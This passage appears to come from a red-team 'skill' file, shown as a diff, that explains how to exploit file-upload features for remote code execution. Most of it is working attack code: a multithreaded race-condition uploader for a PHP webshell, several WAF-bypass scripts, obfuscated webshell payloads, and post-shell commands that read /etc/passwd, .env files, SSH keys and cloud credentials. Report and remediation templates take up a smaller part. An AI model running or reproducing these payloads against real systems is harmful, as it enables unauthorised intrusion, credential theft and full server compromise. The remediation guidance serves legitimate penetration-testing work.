|
|
897
|
+
|
|
898
|
+
**Step 20: Race condition — file exists briefly before validation deletes it**
|
|
899
|
+
|
|
900
|
+
```bash
|
|
901
|
+
# Some apps: upload -> save to disk -> validate -> delete if invalid
|
|
902
|
+
# Window between save and delete can be exploited
|
|
903
|
+
|
|
904
|
+
python3 << 'EOF'
|
|
905
|
+
import threading
|
|
906
|
+
import requests
|
|
907
|
+
import time
|
|
908
|
+
|
|
909
|
+
url_upload = "https://TARGET/upload"
|
|
910
|
+
url_shell = "https://TARGET/uploads/shell.php"
|
|
911
|
+
cookies = {"session": "YOUR_SESSION"}
|
|
912
|
+
php_payload = b'<?php system($_GET["cmd"]); ?>'
|
|
913
|
+
|
|
914
|
+
hit_count = [0]
|
|
915
|
+
found = [False]
|
|
916
|
+
|
|
917
|
+
def upload_thread():
|
|
918
|
+
while not found[0]:
|
|
919
|
+
files = {'file': ('shell.php', php_payload, 'image/jpeg')}
|
|
920
|
+
try:
|
|
921
|
+
requests.post(url_upload, files=files, cookies=cookies, timeout=5)
|
|
922
|
+
except:
|
|
923
|
+
pass
|
|
924
|
+
|
|
925
|
+
def check_thread():
|
|
926
|
+
while not found[0]:
|
|
927
|
+
try:
|
|
928
|
+
r = requests.get(url_shell + "?cmd=id", timeout=2)
|
|
929
|
+
if r.status_code == 200 and ("uid=" in r.text or "root" in r.text):
|
|
930
|
+
found[0] = True
|
|
931
|
+
hit_count[0] += 1
|
|
932
|
+
print(f"\n[!!!] SHELL EXECUTED: {r.text[:200]}")
|
|
933
|
+
except:
|
|
934
|
+
pass
|
|
935
|
+
|
|
936
|
+
# Start 10 upload threads and 5 checker threads
|
|
937
|
+
threads = []
|
|
938
|
+
for _ in range(10):
|
|
939
|
+
t = threading.Thread(target=upload_thread, daemon=True)
|
|
940
|
+
threads.append(t)
|
|
941
|
+
t.start()
|
|
942
|
+
|
|
943
|
+
for _ in range(5):
|
|
944
|
+
t = threading.Thread(target=check_thread, daemon=True)
|
|
945
|
+
threads.append(t)
|
|
946
|
+
t.start()
|
|
947
|
+
|
|
948
|
+
print("[*] Race condition attack running... press Ctrl+C to stop")
|
|
949
|
+
try:
|
|
950
|
+
while not found[0]:
|
|
951
|
+
time.sleep(0.5)
|
|
952
|
+
print(".", end="", flush=True)
|
|
953
|
+
except KeyboardInterrupt:
|
|
954
|
+
pass
|
|
955
|
+
|
|
956
|
+
print(f"\n[+] Completed. Hits: {hit_count[0]}")
|
|
957
|
+
EOF
|
|
958
|
+
```
|
|
959
|
+
|
|
960
|
+
---
|
|
961
|
+
|
|
962
|
+
## 4. WAF Bypass Techniques
|
|
963
|
+
|
|
964
|
+
### Content-Type Manipulation
|
|
965
|
+
|
|
966
|
+
```bash
|
|
967
|
+
# Swap Content-Type to pass WAF signature check
|
|
968
|
+
# WAF expects: multipart/form-data
|
|
969
|
+
# Send: multipart/form-data with extra whitespace or params
|
|
970
|
+
|
|
971
|
+
curl -s -X POST https://TARGET/upload \
|
|
972
|
+
-H "Content-Type: multipart/form-data ; boundary=BOUNDARY" \
|
|
973
|
+
--data-binary $'--BOUNDARY\r\nContent-Disposition: form-data; name="file"; filename="shell.php"\r\nContent-Type: image/jpeg\r\n\r\n<?php system($_GET["cmd"]); ?>\r\n--BOUNDARY--' \
|
|
974
|
+
-b "session=YOUR_SESSION"
|
|
975
|
+
```
|
|
976
|
+
|
|
977
|
+
### Chunked Transfer Encoding Bypass
|
|
978
|
+
|
|
979
|
+
```bash
|
|
980
|
+
# Some WAFs don't reconstruct chunked bodies
|
|
981
|
+
python3 << 'EOF'
|
|
982
|
+
import socket, ssl, time
|
|
983
|
+
|
|
984
|
+
host = "TARGET"
|
|
985
|
+
port = 443
|
|
986
|
+
|
|
987
|
+
php_payload = b"<?php system($_GET['cmd']); ?>"
|
|
988
|
+
boundary = b"----RTExitBoundary"
|
|
989
|
+
|
|
990
|
+
part1 = (
|
|
991
|
+
b"--" + boundary + b"\r\n"
|
|
992
|
+
b'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n'
|
|
993
|
+
b"Content-Type: image/jpeg\r\n\r\n"
|
|
994
|
+
)
|
|
995
|
+
part2 = php_payload
|
|
996
|
+
part3 = b"\r\n--" + boundary + b"--\r\n"
|
|
997
|
+
|
|
998
|
+
def to_chunk(data):
|
|
999
|
+
return f"{len(data):x}\r\n".encode() + data + b"\r\n"
|
|
1000
|
+
|
|
1001
|
+
body_chunks = to_chunk(part1) + to_chunk(part2[:5]) + to_chunk(part2[5:]) + to_chunk(part3) + b"0\r\n\r\n"
|
|
1002
|
+
|
|
1003
|
+
headers = (
|
|
1004
|
+
f"POST /upload HTTP/1.1\r\n"
|
|
1005
|
+
f"Host: {host}\r\n"
|
|
1006
|
+
f"Cookie: session=YOUR_SESSION\r\n"
|
|
1007
|
+
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
|
|
1008
|
+
f"Transfer-Encoding: chunked\r\n"
|
|
1009
|
+
f"Connection: close\r\n\r\n"
|
|
1010
|
+
).encode()
|
|
1011
|
+
|
|
1012
|
+
ctx = ssl.create_default_context()
|
|
1013
|
+
with socket.create_connection((host, port)) as sock:
|
|
1014
|
+
with ctx.wrap_socket(sock, server_hostname=host) as ssock:
|
|
1015
|
+
ssock.sendall(headers + body_chunks)
|
|
1016
|
+
resp = b""
|
|
1017
|
+
while True:
|
|
1018
|
+
chunk = ssock.recv(4096)
|
|
1019
|
+
if not chunk:
|
|
1020
|
+
break
|
|
1021
|
+
resp += chunk
|
|
1022
|
+
print(resp.decode(errors="replace")[:500])
|
|
1023
|
+
EOF
|
|
1024
|
+
```
|
|
1025
|
+
|
|
1026
|
+
### Filename Encoding Bypass
|
|
1027
|
+
|
|
1028
|
+
```bash
|
|
1029
|
+
# Unicode normalization — server may normalize FULLWIDTH LATIN SMALL LETTER P
|
|
1030
|
+
python3 << 'EOF'
|
|
1031
|
+
import requests
|
|
1032
|
+
|
|
1033
|
+
url = "https://TARGET/upload"
|
|
1034
|
+
cookies = {"session": "YOUR_SESSION"}
|
|
1035
|
+
|
|
1036
|
+
# Fullwidth characters: php = php
|
|
1037
|
+
filenames = [
|
|
1038
|
+
"shell.php", # php
|
|
1039
|
+
"shell.pHp",
|
|
1040
|
+
"shell.php5",
|
|
1041
|
+
"shell.php%0a",
|
|
1042
|
+
"shell.php", # zero-width space
|
|
1043
|
+
"shell.php", # BOM
|
|
1044
|
+
"shell.phtml",
|
|
1045
|
+
"shell.php;.jpg", # semicolon trick (IIS)
|
|
1046
|
+
".php", # leading dot only
|
|
1047
|
+
]
|
|
1048
|
+
|
|
1049
|
+
php_payload = b"<?php system($_GET['cmd']); ?>"
|
|
1050
|
+
|
|
1051
|
+
for fname in filenames:
|
|
1052
|
+
files = {'file': (fname, php_payload, 'image/jpeg')}
|
|
1053
|
+
try:
|
|
1054
|
+
r = requests.post(url, files=files, cookies=cookies, timeout=10)
|
|
1055
|
+
print(f"[{fname!r}] {r.status_code} {r.text[:150]}")
|
|
1056
|
+
except Exception as e:
|
|
1057
|
+
print(f"[{fname!r}] ERROR: {e}")
|
|
1058
|
+
EOF
|
|
1059
|
+
```
|
|
1060
|
+
|
|
1061
|
+
### Content Obfuscation
|
|
1062
|
+
|
|
1063
|
+
```bash
|
|
1064
|
+
# Obfuscate PHP so WAF signature doesn't match
|
|
1065
|
+
python3 << 'EOF'
|
|
1066
|
+
payloads = [
|
|
1067
|
+
# Hex encoding
|
|
1068
|
+
'<?php $f="\x73\x79\x73\x74\x65\x6d";$f($_GET["c"]); ?>',
|
|
1069
|
+
|
|
1070
|
+
# Variable concatenation
|
|
1071
|
+
'<?php $a="sy"."st"."em";$a($_GET["c"]); ?>',
|
|
1072
|
+
|
|
1073
|
+
# Reflection-style
|
|
1074
|
+
'<?php call_user_func("system",$_GET["c"]); ?>',
|
|
1075
|
+
|
|
1076
|
+
# Base64 + eval
|
|
1077
|
+
'<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjJ10pOw==")); ?>',
|
|
1078
|
+
|
|
1079
|
+
# Backtick operator
|
|
1080
|
+
'<?php echo `{$_GET["c"]}`; ?>',
|
|
1081
|
+
|
|
1082
|
+
# preg_replace e-flag (PHP5)
|
|
1083
|
+
'<?php preg_replace("/.+/e","system(\"id\")","x"); ?>',
|
|
1084
|
+
|
|
1085
|
+
# array_map
|
|
1086
|
+
'<?php array_map("system",[$_GET["c"]]); ?>',
|
|
1087
|
+
|
|
1088
|
+
# usort
|
|
1089
|
+
'<?php usort([$_GET["c"]],"system"); ?>',
|
|
1090
|
+
]
|
|
1091
|
+
|
|
1092
|
+
for i, p in enumerate(payloads):
|
|
1093
|
+
with open(f'/tmp/waf_bypass_{i}.php', 'w') as f:
|
|
1094
|
+
f.write(p)
|
|
1095
|
+
print(f"[{i}] {p[:60]}...")
|
|
1096
|
+
EOF
|
|
1097
|
+
```
|
|
1098
|
+
|
|
1099
|
+
---
|
|
1100
|
+
|
|
1101
|
+
## 5. Common Payloads and Examples
|
|
1102
|
+
|
|
1103
|
+
### Quick Reference Payload Table
|
|
1104
|
+
|
|
1105
|
+
| Scenario | Payload | Notes |
|
|
1106
|
+
|---|---|---|
|
|
1107
|
+
| PHP minimal | `<?php system($_GET[0]);?>` | Shortest working shell |
|
|
1108
|
+
| PHP POST | `<?php echo shell_exec($_POST['c']);?>` | Avoids GET logging |
|
|
1109
|
+
| PHP eval | `<?php eval($_POST['c']);?>` | Full PHP execution |
|
|
1110
|
+
| PHP base64 | `<?php eval(base64_decode($_POST['d']));?>` | Evades string WAF |
|
|
1111
|
+
| ASP.NET | See shell.aspx above | C# Process.Start |
|
|
1112
|
+
| JSP | See shell.jsp above | Runtime.exec |
|
|
1113
|
+
| GIF polyglot | `GIF89a<?php system($_GET['c']);?>` | MIME + exec |
|
|
1114
|
+
| EXIF injection | `exiftool -Comment='<?php...'` | Survives image processing |
|
|
1115
|
+
| ZIP slip | Path: `../../webroot/shell.php` | Arbitrary write |
|
|
1116
|
+
| SVG XXE | `<!ENTITY xxe SYSTEM "file:///etc/passwd">` | Data exfil |
|
|
1117
|
+
|
|
1118
|
+
### Execution Function Reference (PHP)
|
|
1119
|
+
|
|
1120
|
+
```php
|
|
1121
|
+
// All of these can execute system commands:
|
|
1122
|
+
system() // Returns last line, prints all
|
|
1123
|
+
exec() // Returns last line
|
|
1124
|
+
shell_exec() // Returns full output as string
|
|
1125
|
+
passthru() // Sends raw output to browser
|
|
1126
|
+
popen() // Opens process file pointer
|
|
1127
|
+
proc_open() // Full pipe control
|
|
1128
|
+
`command` // Backtick operator = shell_exec
|
|
1129
|
+
pcntl_exec() // Replaces current process
|
|
1130
|
+
assert() // eval() in disguise (PHP5)
|
|
1131
|
+
eval() // Execute arbitrary PHP
|
|
1132
|
+
preg_replace() // /e modifier (PHP < 7.0)
|
|
1133
|
+
call_user_func() // Indirect call
|
|
1134
|
+
array_map() // Indirect call
|
|
1135
|
+
usort() // Indirect call
|
|
1136
|
+
array_filter() // Indirect call
|
|
1137
|
+
uasort() // Indirect call
|
|
1138
|
+
create_function() // eval() in disguise (PHP < 8.0)
|
|
1139
|
+
```
|
|
1140
|
+
|
|
1141
|
+
---
|
|
1142
|
+
|
|
1143
|
+
## 6. Real-World Engagement Examples
|
|
1144
|
+
|
|
1145
|
+
### Example 1 — E-commerce Avatar Upload (PHP + Apache)
|
|
1146
|
+
|
|
1147
|
+
**Scenario:** SaaS e-commerce platform allowed avatar upload. Validated extension client-side only. No server-side content check.
|
|
1148
|
+
|
|
1149
|
+
**Steps taken:**
|
|
1150
|
+
1. Intercepted upload request in Burp.
|
|
1151
|
+
2. Changed filename from `avatar.jpg` to `avatar.php` in multipart.
|
|
1152
|
+
3. Changed Content-Type to `image/jpeg` to avoid server-side MIME rejection.
|
|
1153
|
+
4. Added GIF magic bytes as first 6 bytes.
|
|
1154
|
+
5. Uploaded, received `/uploads/users/12847/avatar.php`.
|
|
1155
|
+
6. `curl https://target.com/uploads/users/12847/avatar.php?cmd=id` returned `uid=33(www-data)`.
|
|
1156
|
+
7. Escalated to reverse shell, found AWS credentials in `.env`.
|
|
1157
|
+
|
|
1158
|
+
**Key bypass:** Extension checked only in JavaScript. MIME type checked but not content.
|
|
1159
|
+
|
|
1160
|
+
**Autodoc entry:**
|
|
1161
|
+
```yaml
|
|
1162
|
+
finding: file-upload-rce
|
|
1163
|
+
severity: critical
|
|
1164
|
+
endpoint: POST /api/user/avatar
|
|
1165
|
+
parameter: file
|
|
1166
|
+
bypass: client-side-only extension check + MIME header spoof
|
|
1167
|
+
impact: rce-as-www-data + aws-credential-exposure
|
|
1168
|
+
cwe: 434
|
|
1169
|
+
evidence: shell output screenshot + /etc/passwd dump
|
|
1170
|
+
```
|
|
1171
|
+
|
|
1172
|
+
### Example 2 — Document Management System (Java / Spring Boot)
|
|
1173
|
+
|
|
1174
|
+
**Scenario:** Document portal accepted PDF uploads. Backend used Apache Tika for MIME detection.
|
|
1175
|
+
|
|
1176
|
+
**Steps taken:**
|
|
1177
|
+
1. Tika detected real content — pure PHP upload rejected.
|
|
1178
|
+
2. Created polyglot: real valid PDF with PHP payload in trailer comment.
|
|
1179
|
+
3. Renamed to `.jsp` — Tika saw PDF, Spring served JSP.
|
|
1180
|
+
4. Found that uploaded files stored under `/var/uploads/` were NOT web-accessible.
|
|
1181
|
+
5. Used ZIP slip to write JSP to `/var/www/tomcat/webapps/ROOT/backdoor.jsp`.
|
|
1182
|
+
6. Accessed `https://target.com/backdoor.jsp?cmd=id`.
|
|
1183
|
+
|
|
1184
|
+
**Key bypass:** ZIP slip to cross directory boundary from non-web to web path.
|
|
1185
|
+
|
|
1186
|
+
### Example 3 — Media Platform (Node.js + Sharp image processing)
|
|
1187
|
+
|
|
1188
|
+
**Scenario:** Video thumbnail upload. Sharp (libvips) used for image validation.
|
|
1189
|
+
|
|
1190
|
+
**Steps taken:**
|
|
1191
|
+
1. Sharp validates image structure — invalid images rejected.
|
|
1192
|
+
2. Uploaded valid 1x1 PNG — accepted.
|
|
1193
|
+
3. Tested SVG upload — accepted as image type.
|
|
1194
|
+
4. SVG with JavaScript `<script>` tag — rendered in admin panel = stored XSS.
|
|
1195
|
+
5. Escalated: SVG with SSRF to internal metadata service `http://169.254.169.254`.
|
|
1196
|
+
6. Retrieved IAM role credentials from EC2 metadata.
|
|
1197
|
+
|
|
1198
|
+
**Key bypass:** SVG treated as image but executed as XML in browser and on server.
|
|
1199
|
+
|
|
1200
|
+
### Example 4 — HR Portal (ASP.NET + IIS)
|
|
1201
|
+
|
|
1202
|
+
**Scenario:** CV upload accepting `.doc`, `.pdf`. Running IIS 7.5.
|
|
1203
|
+
|
|
1204
|
+
**Steps taken:**
|
|
1205
|
+
1. Tried `.aspx` — blocked.
|
|
1206
|
+
2. Tried `.asp;.pdf` — IIS semicolon parsing: IIS treats `shell.asp;.pdf` as `shell.asp`.
|
|
1207
|
+
3. Upload accepted (extension check saw `.pdf`).
|
|
1208
|
+
4. Accessed `https://target.com/uploads/cv/shell.asp;.pdf` — IIS executed as ASP.
|
|
1209
|
+
5. Classic ASP shell responded to `POST .CMD=whoami`.
|
|
1210
|
+
|
|
1211
|
+
**Key bypass:** IIS semicolon path parsing vulnerability.
|
|
1212
|
+
|
|
1213
|
+
---
|
|
1214
|
+
|
|
1215
|
+
## 7. Detection and Post-Exploitation
|
|
1216
|
+
|
|
1217
|
+
### Detecting Upload Endpoint Misconfigurations
|
|
1218
|
+
|
|
1219
|
+
```bash
|
|
1220
|
+
# Check if uploaded files are web-accessible at all (before investing in bypass)
|
|
1221
|
+
python3 << 'EOF'
|
|
1222
|
+
import requests
|
|
1223
|
+
|
|
1224
|
+
base = "https://TARGET"
|
|
1225
|
+
common_paths = [
|
|
1226
|
+
"/uploads/", "/upload/", "/files/", "/file/",
|
|
1227
|
+
"/media/", "/assets/", "/static/uploads/",
|
|
1228
|
+
"/public/uploads/", "/content/uploads/",
|
|
1229
|
+
"/wp-content/uploads/", "/images/uploads/",
|
|
1230
|
+
"/user-uploads/", "/attachments/",
|
|
1231
|
+
"/tmp/", "/storage/", "/data/",
|
|
1232
|
+
]
|
|
1233
|
+
|
|
1234
|
+
for path in common_paths:
|
|
1235
|
+
r = requests.get(base + path + "test.php", timeout=5, allow_redirects=False)
|
|
1236
|
+
print(f"[{r.status_code}] {path}")
|
|
1237
|
+
EOF
|
|
1238
|
+
|
|
1239
|
+
# Check if server processes PHP in upload directories
|
|
1240
|
+
# Test: upload a file that returns a known string
|
|
1241
|
+
curl -s -X POST https://TARGET/upload \
|
|
1242
|
+
-F "file=@/dev/stdin;filename=probe.php" \
|
|
1243
|
+
-b "session=YOUR_SESSION" \
|
|
1244
|
+
<<< '<?php echo "RTEXIT_PROBE_" . md5("confirm") . "_END"; ?>'
|
|
1245
|
+
|
|
1246
|
+
# Then check if the probe string was hashed (PHP ran) or echoed raw
|
|
1247
|
+
```
|
|
1248
|
+
|
|
1249
|
+
### Post-Shell Enumeration
|
|
1250
|
+
|
|
1251
|
+
```bash
|
|
1252
|
+
SHELL="https://TARGET/uploads/shell.php"
|
|
1253
|
+
CMD() { curl -s "${SHELL}?cmd=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$1'))")"; }
|
|
1254
|
+
|
|
1255
|
+
CMD "id"
|
|
1256
|
+
CMD "whoami"
|
|
1257
|
+
CMD "uname -a"
|
|
1258
|
+
CMD "cat /etc/passwd"
|
|
1259
|
+
CMD "cat /etc/hostname"
|
|
1260
|
+
CMD "cat /proc/version"
|
|
1261
|
+
CMD "env"
|
|
1262
|
+
CMD "printenv"
|
|
1263
|
+
CMD "cat /var/www/html/.env 2>/dev/null || cat /var/www/.env 2>/dev/null"
|
|
1264
|
+
CMD "find / -name '*.env' 2>/dev/null | head -20"
|
|
1265
|
+
CMD "find / -name 'config.php' 2>/dev/null | head -20"
|
|
1266
|
+
CMD "find / -perm -4000 2>/dev/null" # SUID binaries
|
|
1267
|
+
CMD "sudo -l 2>/dev/null"
|
|
1268
|
+
CMD "crontab -l 2>/dev/null"
|
|
1269
|
+
CMD "ps aux"
|
|
1270
|
+
CMD "netstat -tlnp 2>/dev/null || ss -tlnp"
|
|
1271
|
+
CMD "cat /etc/crontab"
|
|
1272
|
+
CMD "find /home -name 'id_rsa' 2>/dev/null"
|
|
1273
|
+
CMD "cat ~/.ssh/authorized_keys 2>/dev/null"
|
|
1274
|
+
CMD "aws sts get-caller-identity 2>/dev/null" # AWS credentials check
|
|
1275
|
+
```
|
|
1276
|
+
|
|
1277
|
+
---
|
|
1278
|
+
|
|
1279
|
+
## 8. Integration with RTExit Autodoc Engine
|
|
1280
|
+
|
|
1281
|
+
### Autodoc Tags and Metadata Schema
|
|
1282
|
+
|
|
1283
|
+
All findings from this skill are formatted for the RTExit autodoc engine. After each successful exploit, generate the following documentation block:
|
|
1284
|
+
|
|
1285
|
+
```bash
|
|
1286
|
+
# Generate autodoc entry
|
|
1287
|
+
python3 << 'PYEOF'
|
|
1288
|
+
import json, datetime, hashlib, subprocess
|
|
1289
|
+
|
|
1290
|
+
def gen_autodoc(finding):
|
|
1291
|
+
finding['id'] = 'UPLOAD-' + hashlib.md5(
|
|
1292
|
+
(finding['endpoint'] + finding['bypass']).encode()
|
|
1293
|
+
).hexdigest()[:8].upper()
|
|
1294
|
+
finding['timestamp'] = datetime.datetime.utcnow().isoformat() + 'Z'
|
|
1295
|
+
return finding
|
|
1296
|
+
|
|
1297
|
+
entry = gen_autodoc({
|
|
1298
|
+
"skill": "rt-exploit-file-upload",
|
|
1299
|
+
"type": "file-upload-rce",
|
|
1300
|
+
"severity": "critical",
|
|
1301
|
+
"cvss": "9.8",
|
|
1302
|
+
"cwe": "CWE-434",
|
|
1303
|
+
"endpoint": "POST /api/upload",
|
|
1304
|
+
"parameter": "file",
|
|
1305
|
+
"bypass": "MIME-spoof + magic-bytes + extension-swap",
|
|
1306
|
+
"payload_file": "/tmp/shell_gif.php",
|
|
1307
|
+
"shell_url": "https://TARGET/uploads/shell.php",
|
|
1308
|
+
"evidence": [
|
|
1309
|
+
"screenshots/upload_shell_upload.png",
|
|
1310
|
+
"screenshots/upload_rce_id.png",
|
|
1311
|
+
"logs/upload_request.txt"
|
|
1312
|
+
],
|
|
1313
|
+
"impact": "RCE as www-data, full server compromise",
|
|
1314
|
+
"remediation": "Validate file type server-side using content inspection; store uploads outside web root; rename files to random UUIDs; serve through non-executing handler",
|
|
1315
|
+
"tags": ["#finding:file-upload-bypass", "#finding:rce-via-upload", "#severity:critical", "#cwe:434"]
|
|
1316
|
+
})
|
|
1317
|
+
|
|
1318
|
+
print(json.dumps(entry, indent=2))
|
|
1319
|
+
PYEOF
|
|
1320
|
+
```
|
|
1321
|
+
|
|
1322
|
+
### RTExit Report Integration
|
|
1323
|
+
|
|
1324
|
+
```bash
|
|
1325
|
+
# Save finding to RTExit finding store
|
|
1326
|
+
FINDING_DIR="c:/Ahmed/Projects/RTExit/.findings/$(date +%Y%m%d)"
|
|
1327
|
+
mkdir -p "$FINDING_DIR"
|
|
1328
|
+
|
|
1329
|
+
cat > "${FINDING_DIR}/upload-rce-$(date +%H%M%S).json" << 'EOF'
|
|
1330
|
+
{
|
|
1331
|
+
"skill": "rt-exploit-file-upload",
|
|
1332
|
+
"title": "Unrestricted File Upload Leading to Remote Code Execution",
|
|
1333
|
+
"severity": "CRITICAL",
|
|
1334
|
+
"cvss_score": 9.8,
|
|
1335
|
+
"cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
|
|
1336
|
+
"cwe": "CWE-434: Unrestricted Upload of File with Dangerous Type",
|
|
1337
|
+
"owasp": "A04:2021 - Insecure Design",
|
|
1338
|
+
"endpoint": "POST /upload",
|
|
1339
|
+
"parameter": "file",
|
|
1340
|
+
"bypass_chain": [
|
|
1341
|
+
"1. Extension check is blacklist-based and incomplete",
|
|
1342
|
+
"2. MIME type checked from Content-Type header only",
|
|
1343
|
+
"3. File content not inspected",
|
|
1344
|
+
"4. Uploaded file stored in web-accessible directory"
|
|
1345
|
+
],
|
|
1346
|
+
"impact": "Attacker uploads executable file and achieves RCE on web server",
|
|
1347
|
+
"evidence": [],
|
|
1348
|
+
"remediation": {
|
|
1349
|
+
"immediate": "Disable file upload functionality or move uploads outside web root",
|
|
1350
|
+
"short_term": [
|
|
1351
|
+
"Implement whitelist-based extension validation",
|
|
1352
|
+
"Validate MIME type from file content (magic bytes), not header",
|
|
1353
|
+
"Store uploads outside web root with UUID filenames",
|
|
1354
|
+
"Serve uploads through a non-executing download handler"
|
|
1355
|
+
],
|
|
1356
|
+
"long_term": [
|
|
1357
|
+
"Use a dedicated file storage service (S3, Azure Blob)",
|
|
1358
|
+
"Implement virus/malware scanning on upload",
|
|
1359
|
+
"Apply Content Security Policy to prevent JS execution from uploads",
|
|
1360
|
+
"Monitor upload directories for executable file creation"
|
|
1361
|
+
]
|
|
1362
|
+
}
|
|
1363
|
+
}
|
|
1364
|
+
EOF
|
|
1365
|
+
|
|
1366
|
+
echo "[+] Finding saved to ${FINDING_DIR}"
|
|
1367
|
+
```
|
|
1368
|
+
|
|
1369
|
+
### Screenshot Capture for Evidence
|
|
1370
|
+
|
|
1371
|
+
```bash
|
|
1372
|
+
# Capture evidence of successful RCE
|
|
1373
|
+
SHELL_URL="https://TARGET/uploads/shell.php"
|
|
1374
|
+
EVIDENCE_DIR="/tmp/rt-evidence/$(date +%Y%m%d-%H%M%S)"
|
|
1375
|
+
mkdir -p "$EVIDENCE_DIR"
|
|
1376
|
+
|
|
1377
|
+
# Capture command output as text evidence
|
|
1378
|
+
curl -s "${SHELL_URL}?cmd=id" > "${EVIDENCE_DIR}/01-id.txt"
|
|
1379
|
+
curl -s "${SHELL_URL}?cmd=uname+-a" > "${EVIDENCE_DIR}/02-uname.txt"
|
|
1380
|
+
curl -s "${SHELL_URL}?cmd=cat+/etc/passwd" > "${EVIDENCE_DIR}/03-passwd.txt"
|
|
1381
|
+
curl -s "${SHELL_URL}?cmd=hostname" > "${EVIDENCE_DIR}/04-hostname.txt"
|
|
1382
|
+
curl -s "${SHELL_URL}?cmd=env" > "${EVIDENCE_DIR}/05-env.txt"
|
|
1383
|
+
|
|
1384
|
+
# Save the upload request/response for the report
|
|
1385
|
+
echo "Evidence saved to: ${EVIDENCE_DIR}"
|
|
1386
|
+
ls -la "${EVIDENCE_DIR}/"
|
|
1387
|
+
```
|
|
1388
|
+
|
|
1389
|
+
---
|
|
1390
|
+
|
|
1391
|
+
## 9. Output and Documentation Instructions
|
|
1392
|
+
|
|
1393
|
+
### Minimum Required Evidence Per Finding
|
|
1394
|
+
|
|
1395
|
+
1. **Upload request** — full HTTP request including headers and multipart body (Burp export or curl `-v` output)
|
|
1396
|
+
2. **Upload response** — server response confirming file was stored
|
|
1397
|
+
3. **Shell access proof** — output of `id`, `whoami`, `hostname`, `uname -a`
|
|
1398
|
+
4. **File location** — confirmed URL of uploaded shell
|
|
1399
|
+
5. **Impact demonstration** — read a sensitive file (e.g., `/etc/passwd`, `.env`, AWS metadata)
|
|
1400
|
+
|
|
1401
|
+
### Severity Rating Guide
|
|
1402
|
+
|
|
1403
|
+
| Condition | Severity |
|
|
1404
|
+
|---|---|
|
|
1405
|
+
| RCE as root or SYSTEM | Critical |
|
|
1406
|
+
| RCE as web user (www-data, IIS user) | Critical |
|
|
1407
|
+
| RCE with subsequent privilege escalation possible | Critical |
|
|
1408
|
+
| Arbitrary file write to web root | High |
|
|
1409
|
+
| ZIP slip to sensitive non-web path | High |
|
|
1410
|
+
| SVG XSS stored | Medium-High |
|
|
1411
|
+
| SSRF via image processing | Medium-High |
|
|
1412
|
+
| Upload of files that are served but not executed | Low-Medium |
|
|
1413
|
+
|
|
1414
|
+
### Documentation Template (Markdown)
|
|
1415
|
+
|
|
1416
|
+
```markdown
|
|
1417
|
+
## [UPLOAD-XXXX] Unrestricted File Upload — Remote Code Execution
|
|
1418
|
+
|
|
1419
|
+
**Severity:** Critical
|
|
1420
|
+
**CWE:** CWE-434
|
|
1421
|
+
**CVSS:** 9.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
|
|
1422
|
+
**Endpoint:** POST /upload
|
|
1423
|
+
**Authenticated:** Yes / No
|
|
1424
|
+
|
|
1425
|
+
### Description
|
|
1426
|
+
The application allows uploading of files without adequately validating the file type
|
|
1427
|
+
on the server side. An attacker can upload a PHP webshell and execute arbitrary
|
|
1428
|
+
operating system commands with the privileges of the web server process.
|
|
1429
|
+
|
|
1430
|
+
### Steps to Reproduce
|
|
1431
|
+
1. Navigate to [upload feature URL].
|
|
1432
|
+
2. Intercept the upload request with Burp Suite.
|
|
1433
|
+
3. Replace the uploaded file content with `<?php system($_GET['cmd']); ?>`.
|
|
1434
|
+
4. Change the filename to `shell.php` and Content-Type to `image/jpeg`.
|
|
1435
|
+
5. Forward the request. The server responds with the shell URL: `/uploads/shell.php`.
|
|
1436
|
+
6. Access `https://TARGET/uploads/shell.php?cmd=id` to execute commands.
|
|
1437
|
+
|
|
1438
|
+
### Evidence
|
|
1439
|
+
- Screenshot: upload request (Burp)
|
|
1440
|
+
- Screenshot: RCE output showing `uid=33(www-data)`
|
|
1441
|
+
|
|
1442
|
+
### Impact
|
|
1443
|
+
Full Remote Code Execution on the web server. An attacker can:
|
|
1444
|
+
- Read all application source code and credentials
|
|
1445
|
+
- Access databases
|
|
1446
|
+
- Move laterally within the internal network
|
|
1447
|
+
- Establish persistent access
|
|
1448
|
+
|
|
1449
|
+
### Remediation
|
|
1450
|
+
- Validate file type using magic bytes (server-side content inspection)
|
|
1451
|
+
- Whitelist permitted file extensions
|
|
1452
|
+
- Store uploads outside the web root
|
|
1453
|
+
- Serve uploads through a dedicated non-executing handler
|
|
1454
|
+
- Rename all uploaded files to random UUIDs
|
|
1455
|
+
```
|
|
1456
|
+
|
|
1457
|
+
---
|
|
1458
|
+
|
|
1459
|
+
## 10. Resources
|
|
1460
|
+
|
|
1461
|
+
### Tools
|
|
1462
|
+
|
|
1463
|
+
| Tool | URL | Purpose |
|
|
1464
|
+
|---|---|---|
|
|
1465
|
+
| Burp Suite | https://portswigger.net/burp | Request interception and manipulation |
|
|
1466
|
+
| ExifTool | https://exiftool.org | EXIF metadata manipulation |
|
|
1467
|
+
| ffuf | https://github.com/ffuf/ffuf | Upload endpoint fuzzing |
|
|
1468
|
+
| Nuclei | https://github.com/projectdiscovery/nuclei | Upload vulnerability templates |
|
|
1469
|
+
| Metasploit | https://github.com/rapid7/metasploit-framework | Post-exploitation modules |
|
|
1470
|
+
| weevely | https://github.com/epinna/weevely3 | Obfuscated PHP webshell generator |
|
|
1471
|
+
| p0wny-shell | https://github.com/flozz/p0wny-shell | Full-featured PHP webshell |
|
|
1472
|
+
| b374k | https://github.com/b374k/b374k | PHP webshell with file manager |
|
|
1473
|
+
| antsword | https://github.com/AntSwordProject/antSword | Webshell management client |
|
|
1474
|
+
|
|
1475
|
+
### Wordlists and Extension Lists
|
|
1476
|
+
|
|
1477
|
+
```
|
|
1478
|
+
# SecLists — file upload bypass extensions
|
|
1479
|
+
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/extensions-most-common.fuzz.txt
|
|
1480
|
+
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt
|
|
1481
|
+
|
|
1482
|
+
# PayloadsAllTheThings — file upload bypasses
|
|
1483
|
+
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files
|
|
1484
|
+
```
|
|
1485
|
+
|
|
1486
|
+
### CVEs and Vulnerability References
|
|
1487
|
+
|
|
1488
|
+
